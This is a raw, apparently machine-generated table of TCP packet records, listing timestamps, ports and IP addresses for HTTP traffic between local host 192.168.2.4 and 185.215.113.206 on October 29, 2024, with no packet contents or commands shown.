Oct 29, 2024 04:52:11.111248016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.111470938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.111520052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.111522913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.111557961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.111572981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.111603022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.112319946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.112356901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.112370968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.112404108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.112900019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.112935066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.112951994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.112971067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.112984896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.113020897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.113698959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.113733053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.113765955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.113780975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.113800049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.113827944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.114660025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.114695072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.114722013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.114727974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.114751101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.114773989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.115068913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.115102053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.115124941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.115134954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.115144968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.115178108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.153073072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.153202057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.153259993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.153295994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.153378963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.153764009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.153799057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.153937101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.154201984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.154237986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.154267073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.154308081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.154784918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.154818058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.154843092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.154851913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.154880047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.154897928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.155709028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.155742884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.155765057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.155777931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.155788898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.155822039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.156626940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.156661987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.156685114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.156694889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.156711102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.156728983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.156744957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.156774044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.157476902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.157512903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.157532930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.157545090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.157562017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.157589912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.157581091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.157644987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.158407927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.158442020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.158466101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.158474922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.158488035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.158523083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.159286976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.159338951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.159343004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.159373999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.159389973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.159418106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.160173893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.160207987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.160231113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.160240889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.160250902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.160283089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.228852987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.228929996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.228961945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.229002953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.229010105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.229048014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.229331017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.229346991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.229365110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.229387045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.229408979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.230138063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.230154991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.230309010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.230685949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.230701923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.230717897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.230740070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.230767012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.231503963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.231519938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.231537104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.231564045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.231580973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.232321978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.232347012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.232363939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.232369900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.232378960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.232400894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.232433081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.270627022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.270705938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.270772934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.270807028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.270834923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.270844936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.271152973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.271188974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.271214008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.271228075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.271749973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.271785975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.271802902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.271820068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.271831989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.271859884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.272656918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.272691965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.272712946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.272726059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.272731066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.272768021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.273521900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.273555040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.273577929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.273587942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.273598909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.273622036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.273628950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.273667097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.274350882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.274384022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.274405956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.274416924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.274429083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.274466038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.275253057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.275289059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.275310040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.275336981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.275356054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.275422096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.276160002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.276196003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.276212931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.276231050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.276241064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.276266098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.276273012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.276312113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.277055979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.277091026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.277107000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.277124882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.277137041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.277168989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.277941942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.277976036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.277997017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.278008938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.278019905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.278043985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.278048038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.278086901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.346405983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.346524954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.346550941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.346585035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.346595049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.346652985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.346904993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.346939087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.346951962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.346973896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.346983910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.347023010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.347589016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.347630978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.347812891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.347861052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.348066092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.348095894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.348119020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.348128080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.348133087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.348165035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.348181963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.348206997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.348918915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.348953009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.348965883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.348987103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.348998070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.349023104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.349031925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.349065065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.349733114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.349766016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.349777937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.349800110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.349809885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.349834919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.349854946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.349877119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.388559103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.388614893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.388698101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.388734102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.388745070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.388776064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.389215946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.389247894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.389264107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.389283895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.389297009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.389327049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.389978886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.390013933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.390029907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.390047073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.390060902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.390096903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.390795946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.390829086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.390851974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.390861988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.390871048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.390897036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.390903950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.390944958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.391629934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.391664028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.391684055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.391699076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.391705990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.391742945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.392319918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.392353058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.392369986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.392386913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.392401934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.392431021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.393157005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.393201113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.393209934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.393243074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.393254042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.393285036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.393994093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.394028902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.394037962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.394062996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.394073009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.394098043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.394105911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.394144058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.394828081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.394862890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.394875050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.394896030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.394906044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.394936085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.395734072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.395767927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.395777941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.395802021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.395813942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.395840883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.396249056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.396284103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.396292925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.396327019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.464155912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.464246035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.464272022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.464310884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.464343071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.464390993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.464565992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.464601040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.464627028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.464634895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.464642048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.464673996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.465292931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.465327024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.465357065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.465361118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.465383053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.465404034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.465987921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.466017962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.466048002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.466052055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.466073990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.466085911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.466095924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.466130018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.466742039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.466864109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.467389107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.467413902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.467453957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.467470884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.467473030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.467489004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.467506886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.467518091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.467524052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.467530012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.467551947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.467561007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.506280899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.506376028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.506407022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.506445885 CET	80	49730	185.215.113.206	192.168.2.4
